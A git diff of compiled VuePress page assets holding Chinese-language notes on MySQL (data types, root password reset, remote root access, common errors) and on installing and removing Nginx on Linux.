mysql 数据类型 `,13),ns={href:"https://www.runoob.com/mysql/mysql-data-types.html",target:"_blank",rel:"noopener noreferrer"},es=l("hr",null,null,-1),as=i('mysql 中定义数据字段的类型对你数据库的优化是非常重要的。 mysql 支持多种类型,大致可以分为三类: 数值类型 mysql 支持所有标准 SQL 数值数据类型。 这些类型包括 严格数值数据类型(INTEGER、SMALLINT、DECIMAL 和 NUMERIC) 近似数值数据类型(FLOAT、REAL 和 DOUBLE PRECISION)。 关键字 INT 是 INTEGER 的同义词,关键字 DEC 是 DECIMAL 的同义词。 BIT 数据类型保存位字段值,并且支持 MyISAM、MEMORY、InnoDB 和 BDB 表。 作为 SQL 标准的扩展,mysql 也支持整数类型 TINYINT、MEDIUMINT 和 BIGINT。
',8),ts=l("p",null,"Navicat 中设计表时,数值类型数据的长度设置与字符类型的长度设置是不一样的",-1),os={href:"https://blog.csdn.net/guaiguaiknl/article/details/105813770",target:"_blank",rel:"noopener noreferrer"},is=l("hr",null,null,-1),rs=l("ul",null,[l("li",null,[l("strong",null,"char"),s("类型数据的长度为字符(字母或汉字)的"),l("strong",null,"个数")]),l("li",null,[l("strong",null,"varchar"),s("类型数据的长度为字符(字母或汉字)的"),l("strong",null,"最大个数")]),l("li",null,[l("strong",null,"int"),s("类型的长度指的是"),l("strong",null,"显示宽度"),l("ul",null,[l("li",null,[s("长度的设定值范围 1~255 "),l("ul",null,[l("li",null,"设置 0 时自动转为 11"),l("li",null,"不设置时自动转为默认的 11"),l("li",null,[s("在此范围内任意长度值的字段值范围都是 "),l("ul",null,[l("li",null,[s("-2147483648~2147483647 "),l("ul",null,[l("li",null,[l("p",null,[s("即"),l("span",{class:"katex"},[l("span",{class:"katex-mathml"},[l("math",{xmlns:"http://www.w3.org/1998/Math/MathML"},[l("semantics",null,[l("mrow",null,[l("mo",null,"−"),l("msup",null,[l("mn",null,"2"),l("mn",null,"31")]),l("mo",null,"−"),l("mn",null,"1")]),l("annotation",{encoding:"application/x-tex"},"-2³¹-1")])])]),l("span",{class:"katex-html","aria-hidden":"true"},[l("span",{class:"base"},[l("span",{class:"strut",style:{height:"0.8974em","vertical-align":"-0.0833em"}}),l("span",{class:"mord"},"−"),l("span",{class:"mord"},[l("span",{class:"mord"},"2"),l("span",{class:"msupsub"},[l("span",{class:"vlist-t"},[l("span",{class:"vlist-r"},[l("span",{class:"vlist",style:{height:"0.8141em"}},[l("span",{style:{top:"-3.063em","margin-right":"0.05em"}},[l("span",{class:"pstrut",style:{height:"2.7em"}}),l("span",{class:"sizing reset-size6 size3 mtight"},[l("span",{class:"mord mtight"},[l("span",{class:"mord mtight"},"31")])])])])])])])]),l("span",{class:"mspace",style:{"margin-right":"0.2222em"}}),l("span",{class:"mbin"},"−"),l("span",{class:"mspace",style:{"margin-right":"0.2222em"}})]),l("span",{class:"base"},[l("span",{class:"strut",style:{height:"0.6444em"}}),l("span",{class:"mord"},"1")])])]),s(" ~ "),l("span",{class:"katex"},[l("span",{class:"katex-mathml"},[l("math",{xmlns:"http://www.w3.org/1998/Math/MathML"},[l("semantics",null,[l("mrow",null,[l("msup",null,[l("mn",null,"2"),l("mn",null,"31")]),l("mo",null,"−"),l("mn",null,"1")]),l("annotation",{encoding:"application/x-tex"},"2³¹-1")])])]),l("span",{class:"katex-html","aria-hidden":"true"},[l("span",{class:"base"},[l("span",{class:"strut",style:{height:"0.8974em","vertical-align":"-0.0833em"}}),l("span",{class:"mord"},[l("span",{class:"mord"},"2"),l("span",{class:"msupsub"},[l("span",{class:"vlist-t"},[l("span",{class:"vlist-r"},[l("span",{class:"vlist",style:{height:"0.8141em"}},[l("span",{style:{top:"-3.063em","margin-right":"0.05em"}},[l("span",{class:"pstrut",style:{height:"2.7em"}}),l("span",{class:"sizing reset-size6 size3 mtight"},[l("span",{class:"mord mtight"},[l("span",{class:"mord mtight"},"31")])])])])])])])]),l("span",{class:"mspace",style:{"margin-right":"0.2222em"}}),l("span",{class:"mbin"},"−"),l("span",{class:"mspace",style:{"margin-right":"0.2222em"}})]),l("span",{class:"base"},[l("span",{class:"strut",style:{height:"0.6444em"}}),l("span",{class:"mord"},"1")])])])]),l("blockquote",null,[l("p",null,"也就是说:int(1)、int(4)、int(11)和 int(110)表示意思是一样的")])])])])])])])])])]),l("li",null,"要查看出不同效果记得在创建类型的时候加 zerofill 这个值(INT(M) ZEROFILL),表示用 0 填充,否则看不出效果的")],-1),us=i(' 日期和时间类型 表示时间值的日期和时间类型为 DATETIME、DATE、TIMESTAMP、TIME 和 YEAR。 每个时间类型有一个有效值范围和一个"零"值,当指定不合法的 mysql 不能表示的值时使用"零"值。 TIMESTAMP 类型有专有的自动更新特性,将在后面描述。
字符串类型 字符串类型指 CHAR、VARCHAR、BINARY、VARBINARY、BLOB、TEXT、ENUM 和 SET。 该节描述了这些类型如何工作以及如何在查询中使用这些类型。
注意: char(n) 和 varchar(n) 中括号中 n 代表字符的个数,并不代表字节个数,比如 CHAR(30) 就可以存储 30 个字符。 CHAR 和 VARCHAR 类型类似,但它们保存和检索的方式不同。它们的最大长度和是否尾部空格被保留等方面也不同。在存储或检索过程中不进行大小写转换。 BINARY 和 VARBINARY 类似于 CHAR 和 VARCHAR,不同的是它们包含二进制字符串而不要非二进制字符串。也就是说,它们包含字节字符串而不是字符字符串。这说明它们没有字符集,并且排序和比较基于列值字节的数值值。 BLOB 是一个二进制大对象,可以容纳可变数量的数据。 有 4 种 BLOB 类型:TINYBLOB、BLOB、MEDIUMBLOB 和 LONGBLOB。 有 4 种 TEXT 类型:TINYTEXT、TEXT、MEDIUMTEXT 和 LONGTEXT。 对应的这 4 种 BLOB 类型,可存储的最大长度不同,可根据实际情况选择。 重置自增量 ',14),cs={href:"https://www.jianshu.com/p/d3b225260042",target:"_blank",rel:"noopener noreferrer"},ds={href:"https://blog.51cto.com/u_15095774/2718785",target:"_blank",rel:"noopener noreferrer"},ps={href:"https://kalacloud.com/blog/how-to-reset-auto-increment-in-mysql/#%E5%9B%9B-%E4%BF%9D%E7%95%99%E6%95%B0%E6%8D%AE%E9%87%8D%E7%BD%AE---%E7%9B%B4%E6%8E%A5%E5%88%A0%E9%99%A4-id-%E6%B3%95",target:"_blank",rel:"noopener noreferrer"},ms=i(` 密码 修改密码 [MySQL修改密码的3种方式 (biancheng.net)](http://c.biancheng.net/view/7152.html#:~:text=步骤 1)
# 修改 root@localhost 密码为 new_password
+ALTER USER 'root'@'localhost' IDENTIFIED BY 'new_password';
+
+# 上述指令只允许本地登录, 如果需要远程连接 mysql 的话还需要
+ALTER USER 'root'@'%' IDENTIFIED BY 'new_password';
+
重置密码 `,7),hs={href:"https://help.aliyun.com/document_detail/42520.html",target:"_blank",rel:"noopener noreferrer"},gs=l("hr",null,null,-1),_s=l("p",null,"如果忘记了 mysql 的密码可以修改配置文件登录时跳过密码然后再在数据库中修改密码",-1),ys=l("p",null,[s("修改 "),l("code",null,"/etc/mysql/my.cnf"),s(" 文件")],-1),bs=l("blockquote",null,[l("p",null,[s("也有可能在 "),l("code",null,"/etc/my.cnf"),s(", 以实际目录为准")])],-1),vs=l("p",null,[s("在 "),l("code",null,"[mysqld]"),s(" 字段下新增如下内容并保存")],-1),ks=l("div",{class:"language-properties line-numbers-mode","data-ext":"properties"},[l("pre",{class:"language-properties"},[l("code",null,`skip-grant-tables
+`)]),l("div",{class:"line-numbers","aria-hidden":"true"},[l("div",{class:"line-number"})])],-1),qs=l("p",null,"然后重启并进入 mysql",-1),fs=l("div",{class:"language-bash line-numbers-mode","data-ext":"sh"},[l("pre",{class:"language-bash"},[l("code",null,[l("span",{class:"token comment"},"# 重启 mysql"),s(`
+`),l("span",{class:"token function"},"service"),s(` mysql restart
+`),l("span",{class:"token comment"},"# 进入 mysql"),s(`
+mysql
+`)])]),l("div",{class:"line-numbers","aria-hidden":"true"},[l("div",{class:"line-number"}),l("div",{class:"line-number"}),l("div",{class:"line-number"}),l("div",{class:"line-number"})])],-1),ws=l("hr",null,null,-1),Es=l("h2",{id:"报错收集",tabindex:"-1"},[l("a",{class:"header-anchor",href:"#报错收集","aria-hidden":"true"},"#"),s(" 报错收集")],-1),Ds=l("hr",null,null,-1),xs=l("h3",{id:"mysql-failed-error-set-password-has-no-significance-for-user-root-localhost-as-the-authentication-method-used-doesn-t-store-authentication-data-in-the-mysql-server-please-consider-using-alter-user",tabindex:"-1"},[l("a",{class:"header-anchor",href:"#mysql-failed-error-set-password-has-no-significance-for-user-root-localhost-as-the-authentication-method-used-doesn-t-store-authentication-data-in-the-mysql-server-please-consider-using-alter-user","aria-hidden":"true"},"#"),s(" mysql Failed! Error: SET PASSWORD has no significance for user ‘root’@’localhost’ as the authentication method used doesn’t store authentication data in the mysql server. Please consider using ALTER USER")],-1),As={href:"https://www.nixcraft.com/t/mysql-failed-error-set-password-has-no-significance-for-user-root-localhost-as-the-authentication-method-used-doesnt-store-authentication-data-in-the-mysql-server-please-consider-using-alter-user/4233",target:"_blank",rel:"noopener noreferrer"},Rs=l("hr",null,null,-1),Bs=i(`
+ALTER USER 'root' @'localhost' IDENTIFIED WITH mysql_native_password BY 'SetRootPasswordHere' ;
+exit
+
+sudo mysql_secure_installation
+
+
ERROR 1819 (HY000): Your password does not satisfy the current policy requirements `,3),Ns={href:"https://www.cnblogs.com/baby123/p/12221405.html",target:"_blank",rel:"noopener noreferrer"},Ls=l("hr",null,null,-1),Ss=i(`SHOW VARIABLES LIKE 'validate_password%' ;
+set global validate_password_policy = 0
+
简单来说就是更改密码策略为低, 不建议在公网上使用
ERROR 1396 (HY000): Operation ALTER USER failed for 'root'@'%' `,4),Ts={href:"https://zhidao.baidu.com/question/604727574.html",target:"_blank",rel:"noopener noreferrer"},Is=l("hr",null,null,-1),Ms=i(`在远程访问 docker 中的 mysql 的需求的实现中, 需要修改 root@%
的密码, 不过之前设置数据库的用户名是 root@localhost
, 当使用
alter user 'root' @'%' identified with mysql_native_password by '[密码]' ;
+
时报错 ERROR 1396 (HY000): Operation ALTER USER failed for 'root'@'%'
use mysql;
+select user,host from user;
+
可以看到当前只有 root@localhost
所以要加一个 root@%
grant all on *.* to 'root'@'%' identified by '[密码]' with grant option;
+
`,6);function Os(Cs,Us){const e=u("ExternalLinkIcon"),r=u("Tabs");return d(),p("div",null,[h,n(r,{id:"76",data:[{id:"Windows"},{id:"kali"},{id:"Debian"},{id:"Ubuntu"},{id:"Docker"}],active:0},{title0:a(({value:t,isActive:o})=>[s("Windows")]),title1:a(({value:t,isActive:o})=>[s("kali")]),title2:a(({value:t,isActive:o})=>[s("Debian")]),title3:a(({value:t,isActive:o})=>[s("Ubuntu")]),title4:a(({value:t,isActive:o})=>[s("Docker")]),tab0:a(({value:t,isActive:o})=>[g,l("blockquote",null,[l("p",null,[l("a",_,[s("MySQL :: Download MySQL Installer --- MySQL :: 下载 MySQL 安装程序"),n(e)])])]),l("p",null,[s("在 "),l("a",y,[s("MySQL :: MySQL Downloads --- MySQL :: MySQL 下载"),n(e)]),s(" 找到 Community 版本入口")]),b,v,k,q,f,l("p",null,[s("需要到 "),l("a",w,[s("Latest supported Visual C++ Redistributable downloads | Microsoft Learn --- 最新支持的 Visual C++ Redistributable 下载 |微软学习"),n(e)]),s(" 进行下载")]),E,D,x,A,R,B,N,L,S,T,I,M,O,C,U,H,P,Y,Q,W,F,V,z,G,X,j,K,Z,J,$,ll,sl,l("blockquote",null,[l("p",null,[l("a",nl,[s("mysql的安装与配置——详细教程 - Winton-H - 博客园 (cnblogs.com)"),n(e)])])]),l("ul",null,[l("li",null,[l("p",null,[s("下载"),l("a",el,[s("mysql 免安装版"),n(e)])]),l("blockquote",null,[l("p",null,[s("该链接指向的是截至 2020.12.2 最新版的 mysql 社区版最新下载链接, 或者自行到 "),l("a",al,[s("mysql :: mysql Downloads"),n(e)]),s(" 选择具体版本下载")])]),tl,ol,il]),rl,ul,cl,dl,pl,ml,hl,gl,_l,yl,bl,l("li",null,[l("p",null,[s("到这里 mysql 的安装,配置与连接就已经完成了,更详细的步骤以及"),vl,s("可以移步原博主的"),l("a",kl,[s("博客链接"),n(e)]),s("查看")]),l("ul",null,[l("li",null,[ql,l("blockquote",null,[l("p",null,[s("若忘记密码可以参考"),l("a",fl,[s("这篇文章"),n(e)])])])])])])]),wl]),tab1:a(({value:t,isActive:o})=>[l("blockquote",null,[l("p",null,[l("a",El,[s("kali自带mysql配置 - 腾讯云开发者社区-腾讯云 (tencent.com)"),n(e)])])]),Dl,l("blockquote",null,[xl,Al,l("p",null,[s("搜索 Debian 安装 mysql 找到了 "),l("a",Rl,[s("如何在Debian 10安装mysql | myfreax"),n(e)]),s(" 不过")]),Bl,Nl]),Ll,Sl,Tl,Il,Ml]),tab2:a(({value:t,isActive:o})=>[l("blockquote",null,[l("p",null,[l("a",Ol,[s("如何在Debian 10安装mysql | myfreax"),n(e)])]),Cl]),Ul,l("p",null,[s("要将mysql存储库添加到您的系统,请访问"),l("a",Hl,[s("mysql仓库下载页面"),n(e)]),s("并使用"),l("a",Pl,[s("wget命令"),n(e)]),s("下载最新mysql。")]),Yl,Ql]),tab3:a(({value:t,isActive:o})=>[l("blockquote",null,[l("p",null,[l("a",Wl,[s("如何在 Ubuntu 20.04 上安装 mysql-阿里云开发者社区 (aliyun.com)"),n(e)])]),Fl]),Vl,zl]),tab4:a(({value:t,isActive:o})=>[l("blockquote",null,[l("p",null,[l("a",Gl,[s("Docker配置mysql容器+远程连接(全流程)_卷、就硬卷的博客-CSDN博客"),n(e)])]),Xl]),jl,Kl,Zl]),_:1}),Jl,$l,l("blockquote",null,[l("p",null,[l("a",ls,[s("MySQL开启远程访问权限-阿里云开发者社区 (aliyun.com)"),n(e)])])]),ss,l("blockquote",null,[l("p",null,[l("a",ns,[s("mysql 数据类型 | 菜鸟教程 (runoob.com)"),n(e)])]),es]),as,l("ul",null,[l("li",null,[ts,l("blockquote",null,[l("p",null,[l("a",os,[s("mysql字段int类型的长度INT(M)_乖乖康少的博客-CSDN博客_mysql int 长度"),n(e)])]),is]),rs])]),us,l("blockquote",null,[l("p",null,[l("a",cs,[s("mysql重置自增字段的起始值 - 简书 (jianshu.com)"),n(e)])]),l("p",null,[l("a",ds,[s("面试官:mysql如何重置自增id_wx6010cbc8d50ca的技术博客_51CTO博客"),n(e)])]),l("p",null,[l("a",ps,[s("mysql / MariaDB 重置自增 ID (AUTO_INCREMENT)教程 - 完美保留表数据的终极解决方案 - 卡拉云 (kalacloud.com)"),n(e)])])]),ms,l("blockquote",null,[l("p",null,[l("a",hs,[s("忘记mysql数据库的root密码时如何重置密码 (aliyun.com)"),n(e)])]),gs]),_s,n(r,{id:"1059",data:[{id:"Linux"}],active:0},{title0:a(({value:t,isActive:o})=>[s("Linux")]),tab0:a(({value:t,isActive:o})=>[ys,bs,vs,ks,qs,fs]),_:1}),ws,Es,Ds,xs,l("blockquote",null,[l("p",null,[l("a",As,[s("mysql Failed! Error: SET PASSWORD has no significance for user 'root'@'localhost' as the authentication method used doesn't store authentication data in the mysql server. Please consider using ALTER USER - Linux - nixCraft Linux/Unix Forum"),n(e)])]),Rs]),Bs,l("blockquote",null,[l("p",null,[l("a",Ns,[s("解决ERROR 1819 (HY000): Your password does not satisfy the current policy requirements - 慕尘 - 博客园 (cnblogs.com)"),n(e)])]),Ls]),Ss,l("blockquote",null,[l("p",null,[l("a",Ts,[s("linux mysql把root@localhost修改成root@% 的详细步骤谢谢_百度知道 (baidu.com)"),n(e)])]),Is]),Ms])}const Ys=c(m,[["render",Os],["__file","MySQL.html.vue"]]);export{Ys as default};
diff --git a/assets/Nginx.html-10ea24b0.js b/assets/Nginx.html-10ea24b0.js
new file mode 100644
index 0000000000..60196b9856
--- /dev/null
+++ b/assets/Nginx.html-10ea24b0.js
@@ -0,0 +1 @@
+const e=JSON.parse('{"key":"v-ce982d4c","path":"/%E5%89%8D%E7%AB%AF/Nginx.html","title":"Nginx","lang":"zh-CN","frontmatter":{},"headers":[{"level":2,"title":"安装","slug":"安装","link":"#安装","children":[]},{"level":2,"title":"删除","slug":"删除","link":"#删除","children":[]}],"git":{"createdTime":1675222387000,"updatedTime":1675222387000,"contributors":[{"name":"233Official","email":"ayusummer233@qq.com","commits":1}]},"readingTime":{"minutes":2.17,"words":652},"filePathRelative":"前端/Nginx.md","localizedDate":"2023年2月1日","excerpt":""}');export{e as data};
diff --git a/assets/Nginx.html-46201247.js b/assets/Nginx.html-46201247.js
new file mode 100644
index 0000000000..b935b150b8
--- /dev/null
+++ b/assets/Nginx.html-46201247.js
@@ -0,0 +1,51 @@
+import{_ as r}from"./plugin-vue_export-helper-c27b6911.js";import{r as i,o as u,c as p,d as a,w as e,b as n,e as s,f as k}from"./app-880c6425.js";const d={},m=k(' Nginx 安装 ',4),b=n("div",{class:"language-bash line-numbers-mode","data-ext":"sh"},[n("pre",{class:"language-bash"},[n("code",null,[n("span",{class:"token function"},"sudo"),s(),n("span",{class:"token function"},"apt"),s(` update
+`),n("span",{class:"token function"},"sudo"),s(),n("span",{class:"token function"},"apt"),s(),n("span",{class:"token function"},"install"),s(` nginx
+
+`),n("span",{class:"token comment"},"# 一旦安装完成,Nginx 将会自动被启动。你可以运行下面的命令来验证它:"),s(`
+`),n("span",{class:"token function"},"sudo"),s(` systemctl status nginx
+`)])]),n("div",{class:"line-numbers","aria-hidden":"true"},[n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"})])],-1),v=n("hr",null,null,-1),g=n("h3",{id:"failed-to-start-a-high-performance-web-server-and-a-reverse-proxy-server",tabindex:"-1"},[n("a",{class:"header-anchor",href:"#failed-to-start-a-high-performance-web-server-and-a-reverse-proxy-server","aria-hidden":"true"},"#"),s(" Failed to start A high performance web server and a reverse proxy server.")],-1),h={href:"https://stackoverflow.com/questions/51525710/nginx-failed-to-start-a-high-performance-web-server-and-a-reverse-proxy-server",target:"_blank",rel:"noopener noreferrer"},x=n("hr",null,null,-1),f=n("div",{class:"language-bash line-numbers-mode","data-ext":"sh"},[n("pre",{class:"language-bash"},[n("code",null,[s("└─"),n("span",{class:"token comment"},"# sudo systemctl status nginx"),s(`
+● nginx.service - A high performance web server and a reverse proxy server
+ Loaded: loaded `),n("span",{class:"token punctuation"},"("),s("/lib/systemd/system/nginx.service"),n("span",{class:"token punctuation"},";"),s(" disabled"),n("span",{class:"token punctuation"},";"),s(" vendor preset: disabled"),n("span",{class:"token punctuation"},")"),s(`
+ Active: failed `),n("span",{class:"token punctuation"},"("),s("Result: exit-code"),n("span",{class:"token punctuation"},")"),s(" since Wed "),n("span",{class:"token number"},"2022"),s("-11-23 "),n("span",{class:"token number"},"11"),s(":32:23 CST"),n("span",{class:"token punctuation"},";"),s(` 1h 0min ago
+ Docs: man:nginx`),n("span",{class:"token punctuation"},"("),n("span",{class:"token number"},"8"),n("span",{class:"token punctuation"},")"),s(`
+ CPU: 58ms
+
+`),n("span",{class:"token number"},"11"),s("月 "),n("span",{class:"token number"},"23"),s(),n("span",{class:"token number"},"11"),s(":32:21 KailiAttack nginx"),n("span",{class:"token punctuation"},"["),n("span",{class:"token number"},"3675789"),n("span",{class:"token punctuation"},"]"),s(": nginx: "),n("span",{class:"token punctuation"},"["),s("emerg"),n("span",{class:"token punctuation"},"]"),s(" bind"),n("span",{class:"token punctuation"},"("),n("span",{class:"token punctuation"},")"),s(" to "),n("span",{class:"token number"},"0.0"),s(".0.0:80 failed "),n("span",{class:"token punctuation"},"("),n("span",{class:"token number"},"98"),s(": Address already "),n("span",{class:"token keyword"},"in"),s(" use"),n("span",{class:"token punctuation"},")"),s(`
+`),n("span",{class:"token number"},"11"),s("月 "),n("span",{class:"token number"},"23"),s(),n("span",{class:"token number"},"11"),s(":32:21 KailiAttack nginx"),n("span",{class:"token punctuation"},"["),n("span",{class:"token number"},"3675789"),n("span",{class:"token punctuation"},"]"),s(": nginx: "),n("span",{class:"token punctuation"},"["),s("emerg"),n("span",{class:"token punctuation"},"]"),s(" bind"),n("span",{class:"token punctuation"},"("),n("span",{class:"token punctuation"},")"),s(" to "),n("span",{class:"token punctuation"},"["),s("::"),n("span",{class:"token punctuation"},"]"),s(":80 failed "),n("span",{class:"token punctuation"},"("),n("span",{class:"token number"},"98"),s(": Address already "),n("span",{class:"token keyword"},"in"),s(" use"),n("span",{class:"token punctuation"},")"),s(`
+`),n("span",{class:"token number"},"11"),s("月 "),n("span",{class:"token number"},"23"),s(),n("span",{class:"token number"},"11"),s(":32:22 KailiAttack nginx"),n("span",{class:"token punctuation"},"["),n("span",{class:"token number"},"3675789"),n("span",{class:"token punctuation"},"]"),s(": nginx: "),n("span",{class:"token punctuation"},"["),s("emerg"),n("span",{class:"token punctuation"},"]"),s(" bind"),n("span",{class:"token punctuation"},"("),n("span",{class:"token punctuation"},")"),s(" to "),n("span",{class:"token number"},"0.0"),s(".0.0:80 failed "),n("span",{class:"token punctuation"},"("),n("span",{class:"token number"},"98"),s(": Address already "),n("span",{class:"token keyword"},"in"),s(" use"),n("span",{class:"token punctuation"},")"),s(`
+`),n("span",{class:"token number"},"11"),s("月 "),n("span",{class:"token number"},"23"),s(),n("span",{class:"token number"},"11"),s(":32:22 KailiAttack nginx"),n("span",{class:"token punctuation"},"["),n("span",{class:"token number"},"3675789"),n("span",{class:"token punctuation"},"]"),s(": nginx: "),n("span",{class:"token punctuation"},"["),s("emerg"),n("span",{class:"token punctuation"},"]"),s(" bind"),n("span",{class:"token punctuation"},"("),n("span",{class:"token punctuation"},")"),s(" to "),n("span",{class:"token punctuation"},"["),s("::"),n("span",{class:"token punctuation"},"]"),s(":80 failed "),n("span",{class:"token punctuation"},"("),n("span",{class:"token number"},"98"),s(": Address already "),n("span",{class:"token keyword"},"in"),s(" use"),n("span",{class:"token punctuation"},")"),s(`
+`),n("span",{class:"token number"},"11"),s("月 "),n("span",{class:"token number"},"23"),s(),n("span",{class:"token number"},"11"),s(":32:22 KailiAttack nginx"),n("span",{class:"token punctuation"},"["),n("span",{class:"token number"},"3675789"),n("span",{class:"token punctuation"},"]"),s(": nginx: "),n("span",{class:"token punctuation"},"["),s("emerg"),n("span",{class:"token punctuation"},"]"),s(" bind"),n("span",{class:"token punctuation"},"("),n("span",{class:"token punctuation"},")"),s(" to "),n("span",{class:"token number"},"0.0"),s(".0.0:80 failed "),n("span",{class:"token punctuation"},"("),n("span",{class:"token number"},"98"),s(": Address already "),n("span",{class:"token keyword"},"in"),s(" use"),n("span",{class:"token punctuation"},")"),s(`
+`),n("span",{class:"token number"},"11"),s("月 "),n("span",{class:"token number"},"23"),s(),n("span",{class:"token number"},"11"),s(":32:22 KailiAttack nginx"),n("span",{class:"token punctuation"},"["),n("span",{class:"token number"},"3675789"),n("span",{class:"token punctuation"},"]"),s(": nginx: "),n("span",{class:"token punctuation"},"["),s("emerg"),n("span",{class:"token punctuation"},"]"),s(" bind"),n("span",{class:"token punctuation"},"("),n("span",{class:"token punctuation"},")"),s(" to "),n("span",{class:"token punctuation"},"["),s("::"),n("span",{class:"token punctuation"},"]"),s(":80 failed "),n("span",{class:"token punctuation"},"("),n("span",{class:"token number"},"98"),s(": Address already "),n("span",{class:"token keyword"},"in"),s(" use"),n("span",{class:"token punctuation"},")"),s(`
+`),n("span",{class:"token number"},"11"),s("月 "),n("span",{class:"token number"},"23"),s(),n("span",{class:"token number"},"11"),s(":32:23 KailiAttack nginx"),n("span",{class:"token punctuation"},"["),n("span",{class:"token number"},"3675789"),n("span",{class:"token punctuation"},"]"),s(": nginx: "),n("span",{class:"token punctuation"},"["),s("emerg"),n("span",{class:"token punctuation"},"]"),s(" still could not bind"),n("span",{class:"token punctuation"},"("),n("span",{class:"token punctuation"},")"),s(`
+`),n("span",{class:"token number"},"11"),s("月 "),n("span",{class:"token number"},"23"),s(),n("span",{class:"token number"},"11"),s(":32:23 KailiAttack systemd"),n("span",{class:"token punctuation"},"["),n("span",{class:"token number"},"1"),n("span",{class:"token punctuation"},"]"),s(": nginx.service: Control process exited, "),n("span",{class:"token assign-left variable"},"code"),n("span",{class:"token operator"},"="),s("exited, "),n("span",{class:"token assign-left variable"},"status"),n("span",{class:"token operator"},"="),n("span",{class:"token number"},"1"),s(`/FAILURE
+`),n("span",{class:"token number"},"11"),s("月 "),n("span",{class:"token number"},"23"),s(),n("span",{class:"token number"},"11"),s(":32:23 KailiAttack systemd"),n("span",{class:"token punctuation"},"["),n("span",{class:"token number"},"1"),n("span",{class:"token punctuation"},"]"),s(": nginx.service: Failed with result "),n("span",{class:"token string"},"'exit-code'"),n("span",{class:"token builtin class-name"},"."),s(`
+`),n("span",{class:"token number"},"11"),s("月 "),n("span",{class:"token number"},"23"),s(),n("span",{class:"token number"},"11"),s(":32:23 KailiAttack systemd"),n("span",{class:"token punctuation"},"["),n("span",{class:"token number"},"1"),n("span",{class:"token punctuation"},"]"),s(`: Failed to start A high performance web server and a reverse proxy server.
+`)])]),n("div",{class:"line-numbers","aria-hidden":"true"},[n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"})])],-1),_=n("p",null,"80 端口被占用",-1),w=n("ul",null,[n("li",null,[n("p",null,"有可能是 apchae2 占用的, 所以可以尝试"),n("div",{class:"language-bash line-numbers-mode","data-ext":"sh"},[n("pre",{class:"language-bash"},[n("code",null,[n("span",{class:"token function"},"sudo"),s(),n("span",{class:"token function"},"service"),s(` apache2 stop
+`),n("span",{class:"token function"},"sudo"),s(` systemctl restart nginx
+`),n("span",{class:"token function"},"sudo"),s(` systemctl status nginx
+`)])]),n("div",{class:"line-numbers","aria-hidden":"true"},[n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"})])])])],-1),A=n("h2",{id:"删除",tabindex:"-1"},[n("a",{class:"header-anchor",href:"#删除","aria-hidden":"true"},"#"),s(" 删除")],-1),y={href:"https://juejin.cn/post/6844904014136475656",target:"_blank",rel:"noopener noreferrer"},K=n("hr",null,null,-1),N=n("div",{class:"language-bash line-numbers-mode","data-ext":"sh"},[n("pre",{class:"language-bash"},[n("code",null,[n("span",{class:"token comment"},"# 删除nginx,–purge包括配置文件"),s(`
+`),n("span",{class:"token function"},"sudo"),s(),n("span",{class:"token function"},"apt-get"),s(),n("span",{class:"token parameter variable"},"--purge"),s(` remove nginx
+`),n("span",{class:"token comment"},"# 自动移除全部不使用的软件包"),s(`
+`),n("span",{class:"token function"},"sudo"),s(),n("span",{class:"token function"},"apt-get"),s(` autoremove
+`),n("span",{class:"token comment"},"# 罗列出与nginx相关的软件"),s(`
+dpkg --get-selections`),n("span",{class:"token operator"},"|"),n("span",{class:"token function"},"grep"),s(` nginx
+
+`),n("span",{class:"token comment"},"# 删除上步中查询到的软件, 如:"),s(`
+`),n("span",{class:"token function"},"sudo"),s(),n("span",{class:"token function"},"apt-get"),s(),n("span",{class:"token parameter variable"},"--purge"),s(` remove nginx
+`),n("span",{class:"token function"},"sudo"),s(),n("span",{class:"token function"},"apt-get"),s(),n("span",{class:"token parameter variable"},"--purge"),s(` remove nginx-common
+`),n("span",{class:"token function"},"sudo"),s(),n("span",{class:"token function"},"apt-get"),s(),n("span",{class:"token parameter variable"},"--purge"),s(` remove nginx-core
+
+`),n("span",{class:"token comment"},"# 查看nginx正在运行的进程,如果有就kill掉"),s(`
+`),n("span",{class:"token function"},"ps"),s(),n("span",{class:"token parameter variable"},"-ef"),s(),n("span",{class:"token operator"},"|"),n("span",{class:"token function"},"grep"),s(` nginx
+`)])]),n("div",{class:"line-numbers","aria-hidden":"true"},[n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"})])],-1),E=n("div",{class:"language-bash line-numbers-mode","data-ext":"sh"},[n("pre",{class:"language-bash"},[n("code",null,[s("└─"),n("span",{class:"token comment"},"# ps -ef |grep nginx"),s(`
+root `),n("span",{class:"token number"},"2104356"),s(" "),n("span",{class:"token number"},"1"),s(" "),n("span",{class:"token number"},"0"),s(),n("span",{class:"token number"},"11"),s(`月21 ? 00:00:00 nginx: master process nginx
+www-data `),n("span",{class:"token number"},"2104357"),s(),n("span",{class:"token number"},"2104356"),s(" "),n("span",{class:"token number"},"0"),s(),n("span",{class:"token number"},"11"),s(`月21 ? 00:00:00 nginx: worker process
+www-data `),n("span",{class:"token number"},"2104358"),s(),n("span",{class:"token number"},"2104356"),s(" "),n("span",{class:"token number"},"0"),s(),n("span",{class:"token number"},"11"),s(`月21 ? 00:00:00 nginx: worker process
+www-data `),n("span",{class:"token number"},"2104359"),s(),n("span",{class:"token number"},"2104356"),s(" "),n("span",{class:"token number"},"0"),s(),n("span",{class:"token number"},"11"),s(`月21 ? 00:00:00 nginx: worker process
+www-data `),n("span",{class:"token number"},"2104360"),s(),n("span",{class:"token number"},"2104356"),s(" "),n("span",{class:"token number"},"0"),s(),n("span",{class:"token number"},"11"),s(`月21 ? 00:00:00 nginx: worker process
